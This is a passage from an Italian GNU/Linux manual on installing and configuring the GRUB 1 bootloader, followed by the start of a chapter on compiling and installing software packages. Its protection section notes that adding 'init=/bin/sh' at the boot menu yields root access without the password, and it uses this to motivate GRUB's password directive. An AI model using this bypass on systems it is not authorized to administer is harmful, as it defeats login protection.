Un sistema GNU/Linux può richiedere per l'avvio anche l'utilizzo di un disco RAM iniziale. Supponendo che si tratti del file '`initrd`' contenuto all'inizio della prima partizione del primo disco fisso, bisogna aggiungere anche il comando seguente, prima di avviare con '**`boot`**':

grub> **initrd (hd0,0)/initrd** [*Invio*]

6.11.5 Installazione

In questo contesto, per installazione si intende la sistemazione del sistema di avvio; ciò si può ottenere con il comando '**install**', che però è molto complesso, oppure attraverso i comandi '**root**' e '**setup**', dopo aver collocato i file necessari nella posizione che GRUB 1 si aspetta: la directory '/boot/grub/'.

GRUB 1 è un sistema di avvio molto «comodo», in quanto consente di spostare il kernel e il file di configurazione senza dover ripristinare il settore di avvio. Tuttavia, dal momento che l'aggiornamento del pacchetto applicativo relativo a GRUB 1 non può andare a rimpiazzare i file della directory '/boot/grub/', quando ci si dovesse ritrovare a reinstallare il settore di avvio nel modo che sta per essere descritto, è molto probabile che questo processo non funzioni più, a causa del fatto che la versione di GRUB 1 usato per installare è diversa da quella dei file in '/boot/grub/'. Pertanto, prima di procedere con un'installazione è indispensabile ricopiare i file necessari da '/lib/grub/i386-pc/', o comunque dalla directory riferita alla propria architettura.

Come si può comprendere, la prima cosa da fare è decidere dove collocare i file di avvio di GRUB 1: si tratta precisamente dei file che nella distribuzione di GRUB 1 potrebbero trovarsi nella directory '/lib/grub/i386-pc/'. In condizioni normali, questa directory potrebbe trovarsi nella stessa partizione principale. Nella stessa directory va collocato il file di configurazione 'menu.lst', che viene descritto successivamente.

Si osservi che l'estensione di questo file è precisamente «elle-esse-ti».

A titolo di esempio, si potrebbe iniziare così:

cp /lib/grub/i386-pc/* /boot/grub/ [*Invio*]

Quindi si avvia GRUB 1 dal sistema già in funzione, come nell'esempio seguente, oppure da un dischetto preparato appositamente (dischetto che comunque deve essere stato realizzato con la stessa versione dei file che si trovano poi nella directory '/boot/grub/' della partizione usata per l'avvio):

grub [*Invio*]

Fatto questo si procede indicando la partizione in cui si trova la directory '/boot/grub/', attraverso il comando '**root**':

root ***partizione_di_avvio***

Il comando '**root**' può far pensare alla partizione contenente il file system principale, ma invece si tratta solo di quello che contiene i file di avvio. Con questo comando, si indicano in un colpo solo tutti i file necessari, che per un sistema GNU/Linux sono normalmente '/boot/grub/stage1', '/boot/grub/e2fs_stage1_5', '/boot/grub/stage2' e possibilmente anche '/boot/grub/menu.lst'.

Successivamente il comando '**setup**' verifica che i file si trovino effettivamente dove dovrebbero e provvede a installare il settore di avvio, assieme eventualmente al file '*stage1_5', all'inizio del disco che gli viene indicato:

```
setup disco_di_avvio
```

Se i file di avvio non si trovano nella solita directory '`/boot/grub/`', si può passare questa informazione al comando '**`setup`**' con un'opzione speciale:

```
setup --prefix=directory_file_di_avvio disco_di_avvio
```

In caso di dubbio, si può usare il comando '**`find`**' per individuare in modo certo la collocazione della directory '`/boot/grub/`', specificando un file che sicuramente si deve trovare al suo interno, come nell'esempio seguente:

grub> **`find /boot/grub/stage1`** [*Invio*]

```
 (hd0,1)
```

Supponendo di avere verificato che si tratta della partizione corrispondente alla sigla '**`(hd0,1)`**', ovvero la seconda partizione del primo disco, sapendo che il settore di avvio va collocato all'inizio del primo disco, i comandi necessari potrebbero essere i seguenti:

grub> **`root (hd0,1)`** [*Invio*]

```
 Filesystem type is ext2fs, partition type 0x83
```

grub> **`setup (hd0)`** [*Invio*]

```
 Checking if "/boot/grub/stage1" exists... yes
 Checking if "/boot/grub/stage2" exists... yes
 Checking if "/boot/grub/e2fs_stage1_5" exists... yes
 Running "embed /boot/grub/e2fs_stage1_5 (hd0)"...  16 sectors are embedded.
succeeded
 Running "install /boot/grub/stage1 (hd0) (hd0)1+16 p (hd0,1)/boot/grub/stage2
/boot/grub/menu.lst"... succeeded
Done.
```

Come si può osservare, il comando '**`setup`**', dopo alcuni controlli, avvia i comandi '**`embed`**' e '**`install`**', che sarebbero un po' troppo difficili da usare direttamente.

Evidentemente, l'installazione potrebbe avvenire attraverso GRUB 1 avviato da un dischetto, oppure, in presenza di un sistema funzionante, con l'ausilio dell'eseguibile '**`grub`**'.

Quando si utilizza GRUB 1 attraverso il suo eseguibile avviato da un sistema già in funzione, si deve avere l'accortezza di **non** usare il comando '**`boot`**' e di terminare l'installazione con il comando '**`quit`**'.

grub> **`quit`** [*Invio*]

6.11.6 Configurazione

Il file di configurazione usato per l'avvio è, più precisamente, un menù di voci; come tale non si tratta di un file indispensabile e nemmeno è necessario ripetere l'installazione quando lo si modifica.

La struttura di questo file è molto semplice. In generale le righe vuote o bianche vengono ignorate; inoltre, le righe che iniziano con il simbolo '**#**' sono ignorate nello stesso modo (non sono ammessi commenti in coda a delle direttive).

Le direttive di questo file sono fondamentalmente gli stessi comandi che si possono impartire attraverso la riga di comando di GRUB 1, se il contesto lo consente, con l'aggiunta di qualche direttiva specifica:

```
[direttiva_specifica_del_menù
...
...]

title titolo
comando
...

[title titolo
comando
...] ...
```

In pratica, a parte le righe bianche, vuote e quelle di commento, si possono inserire inizialmente delle direttive specifiche, quindi si individuano dei gruppi di direttive introdotti dalla direttiva '**title**', che le distingue con un titolo.

All'avvio, viene visualizzato un menù composto dalle voci corrispondenti ai titoli indicati dalle direttive '**title**'. Selezionando una di quelle voci si ottiene l'esecuzione dei comandi indicati sotto la direttiva '**title**' corrispondente, con l'aggiunta finale del comando '**boot**' che è implicito e non va indicato nel file del menù.

```
default 0
timeout 5

title Debian GNU/Linux
kernel (hd0,5)/boot/vmlinuz root=/dev/hda6 console=tty12 ro

title Debian GNU/Linux (kernel vecchio)
kernel (hd0,5)/boot/vmlinuz.old root=/dev/hda6 console=tty12 ro

title FreeDOS
chainloader (hd0,0)+1
```

Si osservi l'esempio del listato che appare sopra. La direttiva '**`default 0`**' indica di utilizzare in modo predefinito i comandi corrispondenti al primo titolo, se l'utente non tocca la tastiera entro cinque secondi, in base alla direttiva '**`timeout 5`**', che appare subito dopo.

Sono presenti due voci per l'avvio di due kernel differenti utilizzando la stessa partizione principale, corrispondente al file di dispositivo '`/dev/hda6`', con le stesse opzioni (che comunque riguardano il kernel e non GRUB 1). Inoltre, si può notare anche un titolo che fa riferimento a un sistema Dos, specificando che si deve usare il primo settore della prima partizione per avviarlo. Si può vedere il menù che si ottiene nella figura 6.57.

Figura 6.57. Esempio di un menù di GRUB 1.

```
    GRUB  version 0.90  (640K lower / 3072K upper memory)

 .-------------------------------------------------------------------------.
 | Debian GNU/Linux                                                        |
 | Debian GNU/Linux (kernel vecchio)                                       |
 | FreeDOS                                                                 |
 |                                                                         |
 |                                                                         |
 |                                                                         |
 |                                                                         |
 `-------------------------------------------------------------------------'
      Use the ^ and v keys to select which entry is highlighted.
      Press enter to boot the selected OS, 'e' to edit the
      commands before booting, or 'c' for a command-line.


   The highlighted entry will be booted automatically in 5 seconds.
```

Come si può vedere dagli stessi suggerimenti che appaiono sullo schermo, quando ci si trova di fronte a un menù del genere, è possibile rinunciare e passare alla riga di comando premendo il tasto [*c*], oppure è possibile modificare i comandi di una voce utilizzando il tasto [*e*]. La figura 6.58 mostra come funziona la modifica di una voce del menù, nel caso fosse stata selezionata la prima voce.

Figura 6.58. Modifica della prima voce del menù di GRUB 1.

```
     GRUB  version 0.90  (640K lower / 3072K upper memory)

 .--------------------------------------------------------------------------.
 | kernel (hd0,5)/boot/vmlinuz root=/dev/hda6 console=tty12 ro            _|
 |                                                                          |
 |                                                                          |
 |                                                                          |
 |                                                                          |
 |                                                                          |
 |                                                                          |
 `--------------------------------------------------------------------------'
      Use the ^ and v keys to select which entry is highlighted.
      Press 'b' to boot, 'e' to edit the selected command in the
      boot sequence, 'c' for a command-line, 'o' to open a new line
      after ('O' for before) the selected line, 'd' to remove the
      selected line, or escape to go back to the main menu.
```

Nelle sezioni seguenti vengono descritte le direttive e i comandi più importanti di GRUB 1.

6.11.7 Direttive specifiche per il file da usare come menù

Come accennato, alcune direttive hanno significato solo nel file di configurazione usato come menù. Queste direttive vanno collocate prima delle altre; precisamente vanno messe prima dell'elenco dei titoli che compongono in pratica le voci del menù stesso.

- `default` ***n***

  Consente di specificare l'***n***-esima voce del menù come predefinita (la prima voce corrisponde allo zero). Si abbina normalmente alla direttiva '**`timeout`**'.

- `fallback` ***n***

  Si usa questa direttiva in abbinamento con '**`default`**', per indicare una voce alternativa del menù, nel caso quella predefinita non sia valida per qualche ragione.

- `timeout` ***n***

  Fissa la quantità di secondi, trascorsi i quali viene selezionata automaticamente la voce predefinita, corrispondente alla prima, oppure a quella indicata con la direttiva '**`default`**'.

- `title` ***titolo***

Descrive l'inizio di una voce del menù, denominata con il titolo indicato. Tutti i comandi che seguono questa direttiva, fino alla direttiva '**`title`**' successiva, appartengono a questa voce.

6.11.8 Comandi

I comandi sono quelle istruzioni che possono essere impartite a GRUB 1 attraverso la riga di comando, oppure sotto una voce di menù, nel file di configurazione. Alcuni dei comandi possono essere collocati prima delle voci del menù, quando si tratta di azioni da eseguire subito; ma in questa sezione non ne vengono descritti.

- `boot`

  Richiede esplicitamente l'avvio del sistema operativo in base ai comandi impartiti in precedenza. Generalmente si usa solo in modalità interattiva, perché nell'ambito del file di configurazione, questo comando è implicito.

- `cat` ***file***

  Consente di visualizzare il contenuto di un file. Può essere utile per verificare quello che sembra essere un file di configurazione, prima di caricarlo.

- `chainloader` ***file***

  Avvia un altro programma di avvio. In generale, il file viene indicato come un gruppo di settori; di solito si tratta di un solo settore.

- `configfile` ***file***

  Carica un file inteso come menù (file di configurazione) e lo esegue.

- `initrd` ***file***

  Carica il file come disco RAM iniziale (riguarda solo i kernel Linux).

- `kernel` ***file*** [***opzioni***]

  Seleziona il kernel indicato; se si aggiungono altre informazioni, vengono passate come opzioni al kernel stesso.

- `install` ***file_stage1*** [`d`] ***disco_di_avvio*** ***file_stage2*** [`p`] [***file_di_configurazione***]

Il comando '`install`' può essere usato da solo al posto di '`root`' e '`setup`', per installare il sistema di avvio, ma richiede più dettagli rispetto a questi ultimi.

Il modello sintattico che si vede qui è semplificato rispetto a quello reale, ma è sufficiente nelle situazioni più comuni. L'opzione '`d`' serve a stabilire la collocazione del file '`stage2`' nel disco e nella partizione indicati, senza una relazione con il disco di avvio; l'opzione '`p`' è necessaria quasi sempre e serve a richiedere delle modifiche al file '`stage2`' e anche al settore di avvio. Si veda eventualmente la documentazione originale per un dettaglio maggiore nell'uso di questo comando.

- `pause` ***messaggio***

  Mostra il messaggio e attende la pressione di un tasto.

- `quit`

  Nel caso si stia utilizzando GRUB 1 attraverso l'eseguibile '`grub`', su un sistema già avviato, è possibile concludere il funzionamento con questo comando.

- `root` ***partizione***

  Definisce la «partizione corrente», ovvero la partizione a cui fare riferimento quando ciò non viene indicato nei percorsi. Si usa normalmente in abbinamento a '`setup`', per installare il sistema di avvio (senza dover dare il comando '`install`' che può risultare eccessivamente complesso).

- `setup` {***disco*** | ***partizione***}

  Installa il sistema di avvio, modificando il primo settore del disco o della partizione specificati. Il comando '`setup`' va a cercare i file necessari ('`stage1`', '`stage2`', '`*_stage1_5`' e '`menu.lst`' nella directory '`/boot/grub/`', o in mancanza in '`/grub/`', della partizione che deve essere specificata precedentemente con il comando '`root`'.

Tabella 6.59. Uso della tastiera nella riga di comando di GRUB 1.

Combinazione	Alternativa	Descrizione
[*Ctrl f*]	[*freccia−destra*]	Sposta il cursore in avanti.
[*Ctrl b*]	[*freccia−sinistra*]	Sposta il cursore all'indietro.
[*Ctrl a*]	[*Inizio*]	Sposta il cursore all'inizio della riga.
[*Ctrl e*]	[*Fine*]	Sposta il cursore alla fine della riga.
[*Ctrl d*]	[*Canc*]	Cancella il carattere nella posizione del cursore.
[*Ctrl k*]		Taglia il testo dal cursore alla fine della riga.
[*Ctrl u*]		Taglia il testo dall'inizio della riga al cursore.
[*Ctrl y*]		Incolla quanto tagliato in precedenza nella posizione del cursore.
[*Ctrl p*]	[*freccia−su*]	Scorre all'indietro lo storico dei comandi.
[*Ctrl n*]	[*freccia−giù*]	Scorre in avanti lo storico dei comandi.

6.11.9 Configurazione dello sfondo

È possibile cambiare il colore dell'area del menù di GRUB 1 con il comando '**color**', che può essere collocato sia prima delle voci del menù, sia al loro interno:

```
color primo_piano/sfondo [primo_piano/sfondo]
```

Gli argomenti del comando definiscono i colori da applicare, in due gruppi: il primo gruppo rappresenta i colori per il testo normale, mentre il secondo gruppo, eventuale, i colori per il testo evidenziato. In pratica, il testo normale in questione è costituito dalla zona delimitata dal bordo del menù e a questa zona si applica il primo gruppo di colori, mentre la barra di scorrimento delle voci del menù appare in modo evidenziato, utilizzando il gruppo di colori finale. Naturalmente, in mancanza del gruppo di colori finale vengono usati gli stessi colori del primo gruppo, ma invertiti.

I due gruppi di colori vanno specificati usando delle denominazioni prestabilite, secondo l'elenco della tabella successiva, ma si osservi che solo alcuni colori possono essere usati con successo per lo sfondo.

Tabella 6.60. Denominazione dei colori. Le tonalità scure si possono usare come colore dello sfondo, mentre quelle chiare si possono usare in primo piano.

Tonalità scura	Tonalità chiara	Descrizione
`black`	`white`	Nero, bianco.
`blue`	`light-blue`	Blu, blu chiaro.
`green`	`light-green`	Verde, verde chiaro.
`cyan`	`light-cyan`	Ciano (azzurro).
`red`	`light-red`	Rosso, rosso chiaro.
`magenta`	`light-magenta`	Magenta (violetto).
`brown`	`yellow`	Marrone, giallo.
`dark-gray`	`light-gray`	Grigio scuro, grigio chiaro.

Oltre alle denominazioni che appaiono in tabella, esclusivamente per la dichiarazione del colore di primo piano, si può specificare un nome con il prefisso '**blick-**', per fare in modo che lampeggi. Vengono descritti alcuni esempi.

- ```
  color cyan/black
  ```
  In questo modo si ottiene che dalla zona delimitata dal bordo del menù abbia un fondo nero e il testo si veda di colore azzurro ciano. Dal momento che non è specificato il colore per la barra di scorrimento, questa si mostra di colore azzurro ciano, con il testo in nero.
  ```

- ```
  color cyan/black black/green
  ```
  Rispetto all'esempio precedente, si precisa il colore della barra di scorrimento, dove si vuole uno sfondo di colore verde e il testo in nero.

Oltre a cambiare il colore, è possibile mettere sullo sfondo un'immagine, preparata appositamente, da richiamare con il comando '**`splashimage`**':

```
splashimage file
```

Il file in questione deve avere un formato particolare, in quanto deve trattarsi di un file XPM, da 640×480 punti con soli 14 livelli di colore, compresso con Gzip. Se si può contare sul pacchetto ImageMagick (sezione 34.2.5), si può trasformare un file da un formato comune a quello che serve con due passaggi molto semplici:

`$` **`convert -resize 640x480! -colors 14 sfondo.png sfondo.xpm`** [*Invio*]

`$` **`gzip sfondo.xpm`** [*Invio*]

Come si intuisce, si suppone di disporre di un file di partenza in formato PNG ('`sfondo.png`'), che prima viene trasformato generando il file XPM ('`sfondo.xpm`') e poi viene compresso ('`sfondo.xpm.gz`').

Il tutto è molto semplice, quello che non è semplice è trovare un'immagine che mantenga la sua grazia anche quando viene ridotta a soli 14 colori. A parte questa difficoltà, si deve tenere presente l'aspetto del menù di GRUB 1, che in pratica suggerisce di mettere le cose più significative dell'immagine nella parte inferiore (dove il menù non arriva).

Viene mostrato un esempio di compilazione del file '`/boot/grub/menu.lst`', dove si fa uso dell'immagine di sfondo:

```
default 0
timeout 5
#
splashimage (hd0,1)/boot/grub/sfondo.xpm.gz
#
title Debian GNU/Linux
kernel (hd0,1)/boot/vmlinuz root=/dev/hda2 ro
#
title FreeDOS
chainloader (hd0,0)+1
#
title alt picture 1
splashimage (hd0,1)/boot/grub/spiaggia.xpm.gz
#
title alt picture 2
splashimage (hd0,1)/boot/grub/stelle.xpm.gz
```

Con questo file, viene mostrato inizialmente il menù con lo sfondo costituito dal file '`/boot/grub/sfondo.xpm.gz`', ma l'utente, può selezionare la voce '**`"alt picture 1"`**', oppure
```

'**"alt picture 2"**', per ottenere immagini diverse, prima dell'avvio di uno dei due sistemi previsti.

6.11.10 Menù con spiegazioni

Diversi sistemi di avvio, specialmente quando si usano da dischetto, consentono di scrivere delle note all'interno di file di testo richiamabili attraverso i tasti funzionali da [*F1*] a [*F10*]. Di solito in questi file si mettono delle spiegazioni, soprattutto delle note sulle opzioni del kernel da dare al volo.

GRUB 1 non consente di leggere dei file, ma offre il comando '**pause**'. Si potrebbe scrivere una voce del menù come questa:

```
…
title help 1
pause To install this system you have to... bla bla bla bla bla ↩
↪bla bla bla bla bla bla bla bla bla bla bla...
#
title help 2
pause If you want to run the system in single user mode you have ↩
↪to add an option...
```

Selezionando una delle due voci dal menù, queste vengono visualizzate, quindi, premendo un tasto qualunque, si passa oltre, ma non essendoci altre istruzioni, si ritorna al menù.

Ci sono due inconvenienti nell'uso del comando '**pause**': non è possibile indicare espressamente dove si vuole andare a capo con il testo e si possono rappresentare soltanto circa 1 500 caratteri, pari a circa 19 righe di testo. Per risolvere il primo di questi due problemi si può realizzare un piccolo programma in Perl, dove si calcolano esattamente gli spazi necessari per andare a capo:

```
#!/usr/bin/perl
sub spaces
{
    my ($n)      = $_[0];
    my ($spaces) = "";
    while ($n > 0)
      {
        $spaces = $spaces . " ";
        $n--;
      }
    return ("$spaces");
}
#
($line) = "";
while ($line = <STDIN>)
  {
    chomp ($line);
    $line = $line . &spaces (80);
    print (substr ($line, 0, 79));
  }
```

In pratica, si leggono le righe del testo originale dallo standard input, a queste righe si aggiungono 80 spazi in coda, quindi si emettono solo i primi 79 caratteri, che non contengono alcun codice di avanzamento alla riga successiva. Ammesso che questo programma abbia il nome '**79_col_no_ret**', si potrebbe usare così:

$ **79_col_no_ret < mio_file.txt > mia_riga** [*Invio*]

Il file 'mio_file.txt' viene trasformato nel file 'mia_riga', contenente solo una riga adatta a essere incollata come argomento del comando '**pause**'.

6.11.11 Protezione

Quando GRUB 1 mostra il menù derivante dalla configurazione contenuta nel file 'menu.lst', come già descritto, è possibile usare il tasto [*e*] per modificare delle opzioni. In questo modo, per esempio dando al kernel Linux l'opzione '**init=/bin/sh**', è possibile acquisire i privilegi dell'utente '**root**' senza conoscere la parola d'ordine usata per questo nel sistema operativo. Per ovviare a questo inconveniente è possibile usare, all'inizio del file 'menu.lst', la direttiva '**password**', per esempio così:

```
password --md5 $1$.zk80$GBhCYk6ig20coXJQG3ltk/
default 0
timeout 5
...
...
```

La stringa '**1.zk8**...' rappresenta la trasformazione della parola d'ordine scelta, attraverso un certo algoritmo. Per produrre tale stringa si usa il programma '**grub-md5-crypt**':

$ **grub-md5-crypt** [*Invio*]

Password: ***parola_d'ordine*** [*Invio*]

Retype password: ***parola_d'ordine*** [*Invio*]

```
$1$.zk80$GBhCYk6ig20coXJQG3ltk/
```

La parola d'ordine cifrata viene emessa attraverso lo standard output, quindi va copiata in qualche modo nel file 'menu.lst', come già descritto. Quando poi ci si trova di fronte al menù di GRUB 1, tutti i comandi delicati risultano bloccati (pertanto il tasto [*e*] non funziona inizialmente), fino a quando si preme il tasto [*p*] (*password*): a quel punto GRUB 1 chiede la parola d'ordine e se corrisponde a quella che ha prodotto la stringa cifrata, si ottiene accesso ai comandi più impegnativi.

6.12 Riferimenti

- *Linux distributions*
  ⟨http://www.linux.org/dist/⟩
- Paul Gortmaker, *Linux BootPrompt HOWTO*
  ⟨http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html⟩

[1] **util-linux: fdisk** GNU GPL

[2] **util-linux: disk-utils** GNU GPL

[3] **e2fsprogs** GNU GPL

[4] **MBR** GNU GPL

[5] **MS-SYS** GNU GPL

[6] **SYSLINUX** GNU GPL

[7] **GRUB 1** GNU GPL

Capitolo 7

Pacchetti di applicazioni per GNU/Linux

7.1 Applicativi originali distribuiti in forma sorgente 224

7.2 Fasi tipiche di una compilazione e installazione 226

7.3 File di differenze, o «patch» 226

7.4 Installazione di programmi già compilati 227

7.4.1 Scelta della piattaforma 228
7.4.2 Eseguibili e variabili di ambiente 228
7.4.3 Librerie dinamiche 228
7.4.4 Verifica delle librerie utilizzate dagli eseguibili 230

7.5 Aggiornamento delle librerie standard 230

7.6 Pacchetti applicativi confezionati appositamente per le distribuzioni GNU 231

7.6.1 Distinguere tra «pacchetti» e «archivi» 231
7.6.2 Binari e sorgenti 232
7.6.3 Interdipendenza tra i pacchetti 232
7.6.4 Fasi dell'installazione e della disinstallazione di un pacchetto 233
7.6.5 Caratteristiche di un pacchetto nei confronti di un sistema funzionante 234
7.6.6 Aggiornamento 234
7.6.7 File di configurazione comuni 235

7.7 Pacchetti Debian 235

7.7.1 Priorità di un pacchetto 236
7.7.2 Dipendenze secondo i pacchetti Debian 236
7.7.3 Stato di un pacchetto 237
7.7.4 Disponibilità di un pacchetto 239
7.7.5 Stratificazione degli strumenti di gestione dei pacchetti Debian 239
7.7.6 Gestione elementare attraverso gli strumenti fondamentali 240
7.7.7 Gestione più evoluta dei pacchetti: organizzazione di una copia della distribuzione 243
7.7.8 APT a livello essenziale 244
7.7.9 Ricerca dei file che apparentemente non appartengono ad alcun pacchetto 246
7.7.10 Ricerca dei pacchetti che possono essere disinstallati senza problemi di dipendenze 247
7.7.11 Riconfigurazione 248
7.7.12 Pacchetti Debian sorgenti 251

7.8 Ricompilazione dei pacchetti Debian sorgenti 252

7.9 Dselect 254

7.9.1 Menù iniziale 254
7.9.2 Metodo di accesso ai pacchetti della distribuzione 255
7.9.3 Accesso attraverso un disco ottico unico 256
7.9.4 Accesso attraverso un insieme di dischi 258
7.9.5 Accesso attraverso un file system di rete 259
7.9.6 Accesso attraverso un file system già innestato localmente 259
7.9.7 Accesso attraverso APT 259
7.9.8 Aggiornamento dell'elenco locale dei pacchetti 260
7.9.9 Selezione dei pacchetti 260
7.9.10 Installazione e aggiornamento dei pacchetti selezionati 265
7.9.11 Configurazione 266
7.9.12 Cancellazione dei pacchetti 266

7.10 APT 266

7.10.1 Configurazione generale 266
7.10.2 Gnome APT 269

7.11 Approfondimento: raccolta di pacchetti Debian 270

7.11.1 Composizione del nome degli archivi Debian 270
7.11.2 Eliminazione delle versioni precedenti 273
7.11.3 Distribuzione completa su un supporto unico 276
7.11.4 Distribuzione suddivisa su diversi supporti 280
7.11.5 Un esempio banalizzato, ma funzionante 283

7.12 Riferimenti 289

apt.conf 266 apt-get 243 244 configure 224 cruft 246 deborphan 247 dpkg 240 dpkg-reconfigure 248 dpkg-scanpackages 276 280 dselect 243 254 ld.so.cache 228 ld.so.conf 228 ldconfig 228 ldd 230 Makefile 224 orphaner 247 patch 226 sources.list 244 252 266 $LD_LIBRARY_PATH 228

L'installazione delle componenti di un sistema GNU/Linux avviene attraverso dei «pacchetti», rappresentati esteriormente da file singoli. L'installazione di questi pacchetti può essere semplice o complessa, a seconda della circostanza.

7.1 Applicativi originali distribuiti in forma sorgente

La maggior parte dei programmi per sistemi Unix, il cui utilizzo viene concesso gratuitamente, viene distribuita in forma sorgente. Ciò significa che per poterli utilizzare, questi programmi devono essere compilati. Fortunatamente, di norma è disponibile il compilatore GNU C (conforme allo standard) che permette di uniformare questo procedimento di compilazione.

Un programma originale distribuito in forma sorgente si trova di solito confezionato in un archivio il cui nome ha un'estensione '`.tar.gz`' o '`.tgz`' (ottenuto attraverso '**`tar`**' e '**`gzip`**'), oppure ancora con un'estensione '`.tar.bz2`' ('**`tar`**' e '**`bzip2`**'). Prima di poter procedere

con la sua compilazione deve essere estratto il suo contenuto. Solitamente si fa questo in una directory di lavoro. Nell'esempio che segue, si fa riferimento a un pacchetto ipotetico archiviato nel file '`pacch.tar.gz`' che si trova nella directory '`~/tmp/`':

$ **cd ~/tmp** [*Invio*]

$ **tar xzvf pacch.tar.gz** [*Invio*]

Oppure:

$ **cat pacch.tar.gz | gunzip | tar xvf -** [*Invio*]

Se invece si trattasse dell'archivio '`pacch.tar.bz2`', sarebbe necessario decomprimerlo attraverso un comando leggermente diverso:

$ **cd ~/tmp** [*Invio*]

$ **tar xjvf pacch.tar.bz2** [*Invio*]

Oppure:

$ **cat pacch.tar.bz2 | bunzip2 | tar xvf -** [*Invio*]

Di solito si ottiene una struttura ad albero più o meno articolata in sottodirectory, dove nella directory principale di questa struttura si trovano:

- uno o più file di documentazione ('`README`', '`INSTALL`', ecc.) che servono per ricordare il procedimento corretto per ottenere la compilazione;
- uno o più script preparati per facilitare questo procedimento;
- il file-make (o *makefile*).

Seguendo l'esempio visto poco prima, dovrebbe essere stata creata la directory '`pacch/`'.

$ **cd pacch** [*Invio*]

$ **ls** [*Invio*]

I file di testo che si trovano nella directory principale del pacchetto contenente il programma sorgente, servono per presentare brevemente il programma e per riassumere le istruzioni necessarie alla sua compilazione. Di solito, queste ultime sono contenute nel file '`INSTALL`'. In ogni caso, tutti questi file vanno letti, in particolare quello che spiega il procedimento per la compilazione e l'installazione.

Il modo più semplice per leggere un file è l'utilizzo del programma '**`less`**':

$ **less INSTALL** [*Invio*]

In sua mancanza si può usare '**`more`**':

$ **more INSTALL** [*Invio*]

La composizione classica di un pacchetto distribuito in forma sorgente, prevede la presenza di uno script il cui scopo è quello di costruire un file-make adatto all'ambiente in cui si vuole compilare il programma. Ciò è necessario perché i vari sistemi Unix sono diversi tra loro per tanti piccoli dettagli.

Spesso questo script è in grado di accettare argomenti. Ciò può permettere, per esempio, di definire una directory di destinazione del programma, diversa da quella predefinita.

Quando questo script di preparazione manca, occorre modificare manualmente il file-make in modo che sia predisposto correttamente per la compilazione nel proprio sistema.

Per evitare ambiguità, questo script viene sempre avviato indicando un percorso preciso: '`./configure`'.

Il file-make, o *makefile*, è quel file che viene letto da Make, precisamente dall'eseguibile '**`make`**', allo scopo di coordinare le varie fasi della compilazione ed eventualmente anche per l'installazione del programma compilato. Il nome di questo file può essere diverso, generalmente si tratta di '`Makefile`', oppure di '`makefile`'.

Se manca lo script '`./configure`', o altro equivalente per la creazione automatica del file-make, significa che il file-make esistente deve essere controllato e, se necessario, modificato prima della compilazione.

Spesso è bene controllare il contenuto del file-make anche quando questo è stato generato automaticamente.

7.2 Fasi tipiche di una compilazione e installazione

I pacchetti più comuni si compilano e si installano con tre semplici operazioni; tuttavia, è sempre indispensabile leggere le istruzioni che si trovano nei file di testo distribuiti insieme ai sorgenti dei programmi.

1. `$` **`./configure`** [*Invio*]

   Genera automaticamente il file-make.

2. `$` **`make`** [*Invio*]

   Esegue la compilazione generando i file eseguibili.

3. `#` **`make install`** [*Invio*]

   Installa gli eseguibili e gli altri file necessari nella loro destinazione prevista per il funzionamento: l'ultima fase deve essere eseguita con i privilegi dell'utente '**`root`**'.

I problemi maggiori si possono incontrare derivano dalla mancanza di uno '`./configure`' o simile, per cui si è costretti a modificare direttamente il file-make. In altri casi, il file-make potrebbe non prevedere la fase di installazione ('**`make install`**'), costringendo a installare il programma copiando pezzo per pezzo nella destinazione corretta. Inoltre, spesso l'installazione non rispetta la struttura standard del proprio file system. Ciò nel senso che magari vengono piazzati file che devono poter essere modificati, all'interno di una zona che si voleva riservare per l'accesso in sola lettura.

Quando si utilizza una distribuzione GNU ben organizzata, si trova una gestione dei pacchetti installati che permette l'eliminazione e l'aggiornamento di questi senza rischiare di lasciare file inutilizzati in giro. Se si installa un programma distribuito in forma originale, viene a mancare il sostegno della gestione dei pacchetti. In questi casi si cerca di installare tali pacchetti al di sotto della directory '`/opt/`', o almeno al di sotto di '`/usr/local/`'.

7.3 File di differenze, o «patch»

Quando si ha a che fare con programmi il cui aggiornamento è frequente, come avviene nel caso del kernel, si possono anche trovare aggiornamenti in forma di file di differenze (*patch* o «pezze»), cioè di file che contengono solo le variazioni da una versione all'altra. Queste variazioni si applicano ai file di una versione per ottenerne un'altra.

Se la versione da aggiornare è stata espansa a partire dall'ipotetica directory '`~/tmp/`', per applicarvi una modifica è necessario posizionarsi sulla stessa directory e poi eseguire il comando seguente:

```
patch < file_di_differenze
```

Può darsi che la posizione in cui ci si deve trovare sia diversa o che i sorgenti da aggiornare debbano trovarsi in una posizione precisa. Per capirlo, dovrebbe bastare l'osservazione diretta del contenuto del file di differenze.

Spesso, il file di differenze è realizzato considerando che i file da aggiornare si trovino all'interno di una certa directory. Di solito, si raggira il problema usando l'opzione '**`-p`**'. Per esempio, si può immaginare di avere la directory '`/tmp/prova/esempio/`' che contiene qualcosa da aggiornare attraverso il file di differenze '`/tmp/prova/esempio-007.diff`', che fa riferimento a file contenuti nella directory '`prova-007/`' (come percorso relativo). Per fare in modo che l'aggiornamento venga eseguito correttamente, è necessario spostarsi nella directory '`/tmp/prova/esempio/`':

`$` **`cd /tmp/prova/esempio`** [*Invio*]

Quindi si esegue l'aggiornamento ignorando la prima directory del percorso:

`$` **`patch -p1 < /tmp/prova/esempio-007.diff`** [*Invio*]

L'applicazione delle variazioni, può fallire. Se non si vuole perdere il rapporto degli errori, questi possono essere ridiretti in un file specifico.

```
patch < file_di_differenze 2> file_degli_errori
```

Se gli aggiornamenti sono più di uno, occorre applicare le modifiche in sequenza. La sezione 24.12 tratta meglio questo problema.

7.4 Installazione di programmi già compilati

Alcuni programmi vengono distribuiti in forma già compilata (e senza sorgenti) soprattutto quando si tratta di prodotti proprietari, ma anche in questi casi si possono incontrare problemi nell'installazione.[1]

7.4.1 Scelta della piattaforma

Quando si cerca del software per il proprio sistema che può essere ottenuto solo in forma già compilata, occorre fare attenzione alla piattaforma. Infatti, non basta che si tratti di programmi compilati per il proprio sistema operativo, ma occorre che gli eseguibili siano adatti al tipo di elaboratore su cui il sistema operativo è in funzione.

Normalmente, per identificare l'architettura dei «PC» (x86), si utilizza la sigla i386 nel nome dei file degli archivi. Sigle come i486, i586, i686,... rappresentano la stessa architettura basata però su un livello particolare del microprocessore.

7.4.2 Eseguibili e variabili di ambiente

Un programma distribuito in forma binaria, deve essere estratto normalmente dall'archivio compresso che lo contiene. A volte è disponibile uno script o un programma di installazione, altre volte è necessario copiare manualmente i file nelle varie destinazioni finali. Quando si può scegliere, è preferibile collocare tutto quanto a partire da un'unica directory discendente da '`/opt/`'.

